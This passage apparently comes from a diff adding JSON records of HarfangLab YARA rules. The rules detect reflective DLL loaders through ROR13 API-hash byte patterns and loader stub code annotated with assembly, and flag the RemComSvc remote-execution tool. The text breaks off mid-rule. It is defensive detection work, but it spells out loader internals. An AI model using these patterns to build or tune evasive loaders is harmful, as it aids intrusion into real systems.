+  "content": "rule reflective_loader_5c8949b7f037 {\n    meta:\n        title = \"Reflective Loader (5c8949b7f037)\"\n        id = \"266e2bb5-36d5-4eb2-8db6-5c8949b7f037\"\n        description = \"Detects payloads performing reflective loading.\\nReflective loading is a technique where malicious payloads are executed directly within the memory of a process, rather than creating a new thread or process backed by a file on disk.\\nThis method is often used to avoid detection and persistence mechanisms.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"Internal Research\"\n        date = \"2021-02-25\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1620;attack.t1055.002;attack.execution;attack.t1129\"\n        classification = \"Windows.Generic.ReflectiveLoader\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // TODO: update this to match on eax to edi on all operations...\n        $ror13_nt_flush_instruction_cache_link = {\n                              // ror13_loop:\n            C1 CF 0D          // ror edi, 0xd\n            0F BE C0          // movsx eax, al\n            03 F8             // add edi, eax\n            41                // inc ecx\n            8A 01             // mov al, byte ptr [ecx]\n            84 C0             // test al, al\n            75 ??             // jne ror13_loop\n            81 FF B8 0A 4C 53 // cmp edi, 0x534c0ab8\n            75 ??             // jne continue_loop\n            8B 45 ??          // mov eax, dword ptr [ebp + 0xXX]\n            0F B7 08          // movzx ecx, word ptr [eax]\n            8B 46 ??          // mov eax, dword ptr [esi + 0xXX]\n            8D 04 88          // lea eax, [eax + ecx * 4]\n            8B 04 10          // mov eax, dword ptr [eax + edx]\n            03 C2             // add eax, edx\n            89 45 ??          // mov dword ptr [ebp + 0xXX], eax\n            8B 45 ??          // mov eax, dword ptr [ebp + 0xXX]\n            05 FF FF 00 00    // add eax, 0xffff\n            89 45 ??          // mov dword ptr [ebp + 0xXX], eax\n        }\n\n        // TODO: inverted logics (16 different patterns)\n        $ror13_standard_injection_lookup = {\n            (\n            81 (F8 | F9 | FA | FB | FC | FD | FE | FF) 8E 4E 0E EC | // cmp (eax to edi), 0xec0e4e8e\n            3D 8E 4E 0E EC                                           // cmp eax, 0xec0e4e8e (second encoding)\n            )\n\n            (74|75) ??                                               // (je|jne) 0xXX\n\n            (\n            81 (F8 | F9 | FA | FB | FC | FD | FE | FF) AA FC 0D 7C | // cmp (eax to edi), 0x7c0dfcaa\n            3D AA FC 0D 7C                                           // cmp eax, 0x7c0dfcaa (second encoding)\n            )\n\n            (74|75) ??                                               // (je|jne) 0xXX\n\n            (\n            81 (F8 | F9 | FA | FB | FC | FD | FE | FF) 54 CA AF 91 | // cmp (eax to edi), 0x91afca54\n            3D 54 CA AF 91                                           // cmp eax, 0x91afca54 (second encoding)\n            )\n\n            (74|75) ??                                               // (je|jne) 0xXX\n        }\n\n        $ror13_loadlibrarya_hash = {\n            (\n            81 (F8 | F9 | FA | FB | FC | FD | FE | FF) 8E 4E 0E EC | // cmp (eax to edi), 0xec0e4e8e\n            3D 8E 4E 0E EC                                           // cmp eax, 0xec0e4e8e (second encoding)\n            )\n\n            75 ??                                                    // jne 0xXXX\n            8B (00 | 01 | 02 | 03 | 04 | 05 | 06 | 07) [0-1]         // mov eax, dword ptr [eax to edi + optioanl register]\n            03 (C6 | C7)                                             // add eax, (edi or esi)\n            89 45 ??                                                 // mov dword ptr [ebp + 0xXX], eax\n            EB ??                                                    // jmp 0xXXX\n        }\n\n        $ror13_getprocaddress_hash = {\n            (\n            81 (F8 | F9 | FA | FB | FC | FD | FE | FF) AA FC 0D 7C | // cmp (eax to edi), 0x7c0dfcaa\n            3D AA FC 0D 7C                                           // cmp eax, 0x7c0dfcaa (second encoding)\n            )\n\n            75 ??                                                    // jne 0xXXX\n            8B (00 | 01 | 02 | 03 | 04 | 05 | 06 | 07) [0-1]         // mov eax, dword ptr [eax to edi + optioanl register]\n            03 (C6 | C7)                                             // add eax, (edi or esi)\n            89 45 ??                                                 // mov dword ptr [ebp + 0xXX], eax\n            EB ??                                                    // jmp 0xXXX\n        }\n\n        $ror13_virtualalloc_hash = {\n            (\n            81 (F8 | F9 | FA | FB | FC | FD | FE | FF) 54 CA AF 91 | // cmp (eax to edi), 0x91afca54\n            3D 54 CA AF 91                                           // cmp eax, 0x91afca54 (second encoding)\n            )\n\n            75 ??                                                    // jne 0xXXX\n            8B (00 | 01 | 02 | 03 | 04 | 05 | 06 | 07) [0-1]         // mov eax, dword ptr [eax to edi + optioanl register]\n            03 (C6 | C7)                                             // add eax, (edi or esi)\n            89 45 ??                                                 // mov dword ptr [ebp + 0xXX], eax\n            EB ??                                                    // jmp 0xXXX\n        }\n\n\n        $ror13_virtuallock_hash = {\n            (\n            81 (F8 | F9 | FA | FB | FC | FD | FE | FF) F2 32 F6 0E | // cmp (eax to edi), 0xef632f2\n            3D F2 32 F6 0E                                           // cmp eax, 0xef632f2 (second encoding)\n            )\n\n            75 ??                                                    // jne 0xXXX\n            8B (00 | 01 | 02 | 03 | 04 | 05 | 06 | 07) [0-1]         // mov eax, dword ptr [eax to edi + optioanl register]\n            03 (C6 | C7)                                             // add eax, (edi or esi)\n            89 45 ??                                                 // mov dword ptr [ebp + 0xXX], eax\n        }\n\n        $exclusion_unchecky = \"Unchecky\" fullword wide\n\n        // TODO: More patterns\n\n    condition:\n        any of them and not 1 of ($exclusion_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "reflective_loader_5c8949b7f037"
+  ],
+  "rule_creation_date": "2021-02-25",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.ReflectiveLoader"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1129",
+    "attack.t1620",
+    "attack.t1055.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-reflective_loader_91f36cfd02f6_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.589114Z",
+  "creation_date": "2026-03-23T11:46:25.589117Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.589132Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/@s12deff/reflective-dll-injection-e2955cc16a77\nhttps://unprotect.it/technique/reflective-dll-injection/\nhttps://attack.mitre.org/techniques/T1620/"
+  ],
+  "name": "reflective_loader_91f36cfd02f6.yar",
+  "content": "rule reflective_loader_91f36cfd02f6 {\n    meta:\n        title = \"Reflective Loader (91f36cfd02f6)\"\n        id = \"c02cfae5-3bb1-477c-acf3-91f36cfd02f6\"\n        description = \"Detects payloads performing reflective loading.\\nReflective loading is a technique where malicious payloads are executed directly within the memory of a process, rather than creating a new thread or process backed by a file on disk.\\nThis method is often used to avoid detection and persistence mechanisms.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://medium.com/@s12deff/reflective-dll-injection-e2955cc16a77\\nhttps://unprotect.it/technique/reflective-dll-injection/\\nhttps://attack.mitre.org/techniques/T1620/\"\n        date = \"2025-05-06\"\n        modified = \"2026-01-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1620;attack.t1055.002;attack.execution;attack.t1129\"\n        classification = \"Windows.Generic.ReflectiveLoader\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 045741feb3510b3add9695a2c9006cfcd626a6ddfd2d4dd8e119415c4f93de3d\n        // 185360ca978e84d47cce8a17a8fd3d78d52c399741fe02f5cf250338a2ad01ca\n\n        $stub_homemade_getprocaddress_00 = {\n            48 8B 44 24 60                                                 // mov     rax, [rsp+58h+arg_0]\n            48 89 44 24 28                                                 // mov     [rsp+58h+var_30], rax\n            48 8B 44 24 28                                                 // mov     rax, [rsp+58h+var_30]\n            0F B7 00                                                       // movzx   eax, word ptr [rax]\n            3D 4D 5A 00 00                                                 // cmp     eax, 5A4Dh\n            74 07                                                          // jz      short loc_180004055\n            33 C0                                                          // xor     eax, eax\n            E9                                                             // jmp     loc_1800041F0\n        }\n\n        $stub_homemade_getprocaddress_01 = {\n            48 8B 44 24 28                                                 // mov     rax, [rsp+58h+var_30]\n            48 63 40 3C                                                    // movsxd  rax, dword ptr [rax+3Ch]\n            48 8B 4C 24 60                                                 // mov     rcx, [rsp+58h+arg_0]\n            48 03 C8                                                       // add     rcx, rax\n            48 8B C1                                                       // mov     rax, rcx\n            48 89 44 24 30                                                 // mov     [rsp+58h+var_28], rax\n            48 8B 44 24 30                                                 // mov     rax, [rsp+58h+var_28]\n            81 38 50 45 00 00                                              // cmp     dword ptr [rax], 4550h\n            74 07                                                          // jz      short loc_180004082\n            33 C0                                                          // xor     eax, eax\n            E9                                                             // jmp     loc_1800041F0\n        }\n\n        $stub_02 = {\n            B8 08 00 00 00                                                 // mov     eax, 8\n            48 6B C0 00                                                    // imul    rax, 0\n            48 8B 4C 24 30                                                 // mov     rcx, [rsp+58h+var_28]\n            48 8B 84 01 88 00 00 00                                        // mov     rax, [rcx+rax+88h]\n            48 89 44 24 20                                                 // mov     [rsp+58h+var_38], rax\n            8B 44 24 20                                                    // mov     eax, dword ptr [rsp+58h+var_38]\n            48 8B 4C 24 60                                                 // mov     rcx, [rsp+58h+arg_0]\n            48 03 C8                                                       // add     rcx, rax\n            48 8B C1                                                       // mov     rax, rcx\n            48 89 44 24 18                                                 // mov     [rsp+58h+var_40], rax\n            48 8B 44 24 18                                                 // mov     rax, [rsp+58h+var_40]\n            8B 40 1C                                                       // mov     eax, [rax+1Ch]\n            48 8B 4C 24 60                                                 // mov     rcx, [rsp+58h+arg_0]\n            48 03 C8                                                       // add     rcx, rax\n            48 8B C1                                                       // mov     rax, rcx\n            48 89 44 24 48                                                 // mov     [rsp+58h+var_10], rax\n            48 8B 44 24 18                                                 // mov     rax, [rsp+58h+var_40]\n            8B 40 20                                                       // mov     eax, [rax+20h]\n            48 8B 4C 24 60                                                 // mov     rcx, [rsp+58h+arg_0]\n            48 03 C8                                                       // add     rcx, rax\n            48 8B C1                                                       // mov     rax, rcx\n            48 89 44 24 38                                                 // mov     [rsp+58h+var_20], rax\n            48 8B 44 24 18                                                 // mov     rax, [rsp+58h+var_40]\n            8B 40 24                                                       // mov     eax, [rax+24h]\n            48 8B 4C 24 60                                                 // mov     rcx, [rsp+58h+arg_0]\n            48 03 C8                                                       // add     rcx, rax\n            48 8B C1                                                       // mov     rax, rcx\n        }\n\n    condition:\n        1 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "reflective_loader_91f36cfd02f6"
+  ],
+  "rule_creation_date": "2025-05-06",
+  "rule_modified_date": "2026-01-27",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.ReflectiveLoader"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1129",
+    "attack.t1620",
+    "attack.t1055.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-reflective_loader_fd52e21c4483_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586044Z",
+  "creation_date": "2026-03-23T11:46:25.586046Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586052Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/stephenfewer/ReflectiveDLLInjection"
+  ],
+  "name": "reflective_loader_fd52e21c4483.yar",
+  "content": "rule reflective_loader_fd52e21c4483 {\n    meta:\n        title = \"Reflective Loader (fd52e21c4483)\"\n        id = \"84effc75-5bfe-4dd2-b45b-fd52e21c4483\"\n        description = \"Detects payloads performing reflective loading.\\nReflective loading is a technique where malicious payloads are executed directly within the memory of a process, rather than creating a new thread or process backed by a file on disk.\\nThis method is often used to avoid detection and persistence mechanisms.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/stephenfewer/ReflectiveDLLInjection\"\n        date = \"2021-02-25\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1620;attack.t1055.002;attack.execution;attack.t1129\"\n        classification = \"Windows.Generic.ReflectiveLoader\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        $ror13_nt_flush_instruction_cache_link = {\n                                    // ror13_loop:\n            C1 CA 0D                // ror edx, 0xd\n            0F BE C0                // movsx eax, al\n            49 03 CC                // add rcx, r12\n            03 D0                   // add edx, eax\n            8A 01                   // mov al, byte ptr [rcx]\n            84 C0                   // test al, al\n            75 ??                   // je ror13_loop\n            81 FA B8 0A 4C 53       // cmp edx, 0x534c0ab8 // NTFLUSHINSTRUCTIONCACHE_HASH\n            75 ??                   // je continue_loop\n            43 8B 44 03 1C          // mov eax, dword ptr [r11 + r8 + 0x1c]\n            41 0F B7 12             // movzx edx, word ptr [r10]\n            66 03 FB                // add di, bx\n            49 8D 0C 00             // lea rcx, [r8 + rax]\n            8B 2C 91                // mov ebp, dword ptr [rcx + rdx * 4]\n            49 03 E8                // add rbp, r8\n            48 89 AC 24 88 00 00 00 // mov qword ptr [rsp + 0x88], rbp\n            33 ED                   // xor ebp, ebp\n        }\n\n        // TODO: inverted logics (16 different patterns)\n        $ror13_standard_injection_lookup = {\n            (\n            81 (F8 | F9 | FA | FB | FC | FD | FE | FF) 8E 4E 0E EC | // cmp (eax to edi), 0xec0e4e8e\n            3D 8E 4E 0E EC                                           // cmp eax, 0xec0e4e8e (second encoding)\n            )\n\n            (74|75) ??                                               // (je|jne) 0xXX\n\n\n            [0-1]                                                    // Possible prefix for cmp...\n            (\n            81 (F8 | F9 | FA | FB | FC | FD | FE | FF) AA FC 0D 7C | // cmp (eax to edi), 0x7c0dfcaa\n            3D AA FC 0D 7C                                           // cmp eax, 0x7c0dfcaa (second encoding)\n            )\n\n            (74|75) ??                                               // (je|jne) 0xXX\n\n            [0-1]                                                    // Possible prefix for cmp...\n            (\n            81 (F8 | F9 | FA | FB | FC | FD | FE | FF) 54 CA AF 91 | // cmp (eax to edi), 0x91afca54\n            3D 54 CA AF 91                                           // cmp eax, 0x91afca54 (second encoding)\n            )\n\n            (74|75) ??                                               // (je|jne) 0xXX\n        }\n\n        $ror13_loadlibrarya_hash = {\n            (\n            81 (F8 | F9 | FA | FB | FC | FD | FE | FF) 8E 4E 0E EC | // cmp (eax to edi), 0xec0e4e8e\n            3D 8E 4E 0E EC                                           // cmp eax, 0xec0e4e8e (second encoding)\n            )\n\n            75 ??                                                    // jne 0xXXX\n\n            [0-1]                                                    // Optional REX prefix for mov\n            8B ?? ??                                                 // mov register X, dword ptr [register Y + register Z * I]\n            [0-1]                                                    // Optional REX prefix for add\n            (01|03) ??                                               // add register X, register Y\n            EB ??                                                    // jmp 0xXXX\n        }\n\n        $ror13_getprocaddress_hash = {\n            (\n            81 (F8 | F9 | FA | FB | FC | FD | FE | FF) AA FC 0D 7C | // cmp (eax to edi), 0x7c0dfcaa\n            3D AA FC 0D 7C                                           // cmp eax, 0x7c0dfcaa (second encoding)\n            )\n\n            75 ??                                                    // jne 0xXXX\n\n            [0-1]                                                    // Optional REX prefix for mov\n            8B ?? ??                                                 // mov register X, dword ptr [register Y + register Z * I]\n            [0-1]                                                    // Optional REX prefix for add\n            (01|03) ??                                               // add register X, register Y\n            EB ??                                                    // jmp 0xXXX\n        }\n\n        $ror13_virtualalloc_hash = {\n            (\n            81 (F8 | F9 | FA | FB | FC | FD | FE | FF) 54 CA AF 91 | // cmp (eax to edi), 0x91afca54\n            3D 54 CA AF 91                                           // cmp eax, 0x91afca54 (second encoding)\n            )\n\n            75 ??                                                    // jne 0xXXX\n\n            [0-1]                                                    // Optional REX prefix for mov\n            8B ?? ??                                                 // mov register X, dword ptr [register Y + register Z * I]\n            [0-1]                                                    // Optional REX prefix for add\n            (01|03) ??                                               // add register X, register Y\n            EB ??                                                    // jmp 0xXXX\n        }\n\n\n        $ror13_virtuallock_hash = {\n            (\n            81 (F8 | F9 | FA | FB | FC | FD | FE | FF) F2 32 F6 0E | // cmp (eax to edi), 0xef632f2\n            3D F2 32 F6 0E                                           // cmp eax, 0xef632f2 (second encoding)\n            )\n\n            75 ??                                                    // jne 0xXXX\n\n            [0-1]                                                    // Optional REX prefix for mov\n            8B ?? ??                                                 // mov register X, dword ptr [register Y + register Z * I]\n            [0-1]                                                    // Optional REX prefix for add\n            (01|03) ??                                               // add register X, register Y\n            EB ??                                                    // jmp 0xXXX\n        }\n\n\n        // Now -O0 variant (saw in Cobalt Strike 4.0)\n\n        $ror13_loadlibrarya_hash_O0 = {\n            81 7C 24 ?? 8E 4E 0E EC // cmp dword ptr [rsp + XX], 0xec0e4e8e\n\n            75 ??                   // jne 0xXXX\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ?? [0-1]          // mov register X, dword ptr [register Y +  optional I]\n\n            8B ??                   // mov register X, dword ptr [register Y]\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ?? [0-1]          // mov register X, dword ptr [register Y +  optional I]\n\n            [0-1]                   // Optional REX prefix for add\n            (01|03) ??              // add register X, register Y\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ??                // mov register X, dword ptr [register Y + register Z * I]\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ?? [0-1]          // mov register X, dword ptr [register Y +  optional I]\n\n            [0-1]                   // Optional REX prefix for mov\n                                    // NOTE: We ignore one more byte that is useless but still a valid encoding.\n            89 ?? ?? [0-1]          // mov dword ptr [register X], register Y\n\n            (\n            EB ?? |                 // jmp 0xXXX\n            E9 ?? ?? ?? ??          // jmp 0xXXX (second encoding)\n            )\n        }\n\n        $ror13_getprocaddress_hash_O0 = {\n            81 7C 24 ?? AA FC 0D 7C // cmp dword ptr [rsp + XX], 0x7c0dfcaa\n\n            75 ??                   // jne 0xXXX\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ?? [0-1]          // mov register X, dword ptr [register Y +  optional I]\n\n            8B ??                   // mov register X, dword ptr [register Y]\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ?? [0-1]          // mov register X, dword ptr [register Y +  optional I]\n\n            [0-1]                   // Optional REX prefix for add\n            (01|03) ??              // add register X, register Y\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ??                // mov register X, dword ptr [register Y + register Z * I]\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ?? [0-1]          // mov register X, dword ptr [register Y +  optional I]\n\n            [0-1]                   // Optional REX prefix for mov\n                                    // NOTE: We ignore one more byte that is useless but still a valid encoding.\n            89 ?? ?? [0-1]          // mov dword ptr [register X], register Y\n\n            (\n            EB ?? |                 // jmp 0xXXX\n            E9 ?? ?? ?? ??          // jmp 0xXXX (second encoding)\n            )\n        }\n\n        $ror13_virtualalloc_hash_O0 = {\n            81 7C 24 ?? 54 CA AF 91 // cmp dword ptr [rsp + XX], 0x91afca54\n\n            75 ??                   // jne 0xXXX\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ?? [0-1]          // mov register X, dword ptr [register Y +  optional I]\n\n            8B ??                   // mov register X, dword ptr [register Y]\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ?? [0-1]          // mov register X, dword ptr [register Y +  optional I]\n\n            [0-1]                   // Optional REX prefix for add\n            (01|03) ??              // add register X, register Y\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ??                // mov register X, dword ptr [register Y + register Z * I]\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ?? [0-1]          // mov register X, dword ptr [register Y +  optional I]\n\n            [0-1]                   // Optional REX prefix for mov\n                                    // NOTE: We ignore one more byte that is useless but still a valid encoding.\n            89 ?? ?? [0-1]          // mov dword ptr [register X], register Y\n\n            (\n            EB ?? |                 // jmp 0xXXX\n            E9 ?? ?? ?? ??          // jmp 0xXXX (second encoding)\n            )\n        }\n\n        $ror13_loadlibraryexa_hash_O0 = {\n            81 7C 24 ?? FC A4 53 07 // cmp dword ptr [rsp + XX], 0x753a4fc\n\n            75 ??                   // jne 0xXXX\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ?? [0-1]          // mov register X, dword ptr [register Y +  optional I]\n\n            8B ??                   // mov register X, dword ptr [register Y]\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ?? [0-1]          // mov register X, dword ptr [register Y +  optional I]\n\n            [0-1]                   // Optional REX prefix for add\n            (01|03) ??              // add register X, register Y\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ??                // mov register X, dword ptr [register Y + register Z * I]\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ?? [0-1]          // mov register X, dword ptr [register Y +  optional I]\n\n            [0-1]                   // Optional REX prefix for mov\n                                    // NOTE: We ignore one more byte that is useless but still a valid encoding.\n            89 ?? ?? [0-1]          // mov dword ptr [register X], register Y\n\n            (\n            EB ?? |                 // jmp 0xXXX\n            E9 ?? ?? ?? ??          // jmp 0xXXX (second encoding)\n            )\n        }\n\n        $ror13_getmodulehandlea_hash_O0 = {\n            81 7C 24 ?? 04 49 32 D3 // cmp dword ptr [rsp + XX], 0xd3324904\n\n            75 ??                   // jne 0xXXX\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ?? [0-1]          // mov register X, dword ptr [register Y +  optional I]\n\n            8B ??                   // mov register X, dword ptr [register Y]\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ?? [0-1]          // mov register X, dword ptr [register Y +  optional I]\n\n            [0-1]                   // Optional REX prefix for add\n            (01|03) ??              // add register X, register Y\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ??                // mov register X, dword ptr [register Y + register Z * I]\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ?? [0-1]          // mov register X, dword ptr [register Y +  optional I]\n\n            [0-1]                   // Optional REX prefix for mov\n                                    // NOTE: We ignore one more byte that is useless but still a valid encoding.\n            89 ?? ?? [0-1]          // mov dword ptr [register X], register Y\n\n            (\n            EB ?? |                 // jmp 0xXXX\n            E9 ?? ?? ?? ??          // jmp 0xXXX (second encoding)\n            )\n        }\n\n        $ror13_virtual_protect_hash_O0 = {\n            81 7C 24 ?? 1B C6 46 79 // cmp dword ptr [rsp + XX], 0x7946c61b\n\n            75 ??                   // jne 0xXXX\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ?? [0-1]          // mov register X, dword ptr [register Y +  optional I]\n\n            8B ??                   // mov register X, dword ptr [register Y]\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ?? [0-1]          // mov register X, dword ptr [register Y +  optional I]\n\n            [0-1]                   // Optional REX prefix for add\n            (01|03) ??              // add register X, register Y\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ??                // mov register X, dword ptr [register Y + register Z * I]\n\n            [0-1]                   // Optional REX prefix for mov\n            8B ?? ?? [0-1]          // mov register X, dword ptr [register Y +  optional I]\n\n            [0-1]                   // Optional REX prefix for mov\n                                    // NOTE: We ignore one more byte that is useless but still a valid encoding.\n            89 ?? ?? [0-1]          // mov dword ptr [register X], register Y\n\n            (\n            EB ?? |                 // jmp 0xXXX\n            E9 ?? ?? ?? ??          // jmp 0xXXX (second encoding)\n            )\n        }\n\n        $exclusion_unchecky = \"Unchecky\" fullword wide\n\n        // NEP2.dll Game Engine Protector\n        // 9716148baf2a1bdf3ec32a139edd26507ff1a8bd714fa4a70ff3f8bce4611762\n        $exclusion_nep2_1 = \"NEP_StartScan\" ascii fullword\n        $exclusion_nep2_2 = \"NEP2.dll\" ascii fullword\n        $exclusion_nep2_3 = \"\\\\\\\\.\\\\NEPKernel\" wide fullword\n        $exclusion_nep2_4 = \"StartEngineProtect\" wide fullword\n        $exclusion_nep2_5 = \"nepgameengineprotector\" wide\n\n    condition:\n        any of ($ror13_*) and not $exclusion_unchecky and not all of ($exclusion_nep2_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "reflective_loader_fd52e21c4483"
+  ],
+  "rule_creation_date": "2021-02-25",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.ReflectiveLoader"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1129",
+    "attack.t1620",
+    "attack.t1055.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-remcom_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571225Z",
+  "creation_date": "2026-03-23T11:46:25.571227Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571233Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://talhatariq.wordpress.com/2006/04/14/the-open-source-psexec/\nhttps://github.com/kavika13/RemCom\nhttps://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/remcomsvc.py"
+  ],
+  "name": "remcom.yar",
+  "content": "import \"pe\"\n\nrule remcom {\n    meta:\n        title = \"RemComSvc\"\n        id = \"aa6baaee-ac24-4e9e-8ffa-686732a7224d\"\n        description = \"Detects RemComSvc, a remote management service commonly associated with PSEXEC functionality.\\nRemComSvc is a component often utilized for remote execution and lateral movement within a system.\\nIt is recommended to investigate the execution context as well as surrounding detections to determine the usage of this tool is legitimate in your infrastructure.\"\n        references = \"https://talhatariq.wordpress.com/2006/04/14/the-open-source-psexec/\\nhttps://github.com/kavika13/RemCom\\nhttps://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/remcomsvc.py\"\n        date = \"2021-05-26\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.lateral_movement;attack.t1021.002;attack.t1570;attack.execution;attack.t1569.002\"\n        classification = \"Windows.Tool.RemCom\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"moderate\"\n\n    strings:\n        $s1 = \"RemComSvc\" ascii wide fullword\n        $s2 = \"\\\\\\\\.\\\\pipe\\\\RemCom_communicaton\" ascii wide fullword\n\n        // Exclusion for ADSelfService Plus\n        // https://pitstop.manageengine.com/portal/en/community/topic/adselfservice-plus-remcomsvc-exe-is-detected-as-a-threat\n        $e1 = \"cmd.exe /q /c \\\"%s\\\"\" ascii wide fullword\n        $e2 = 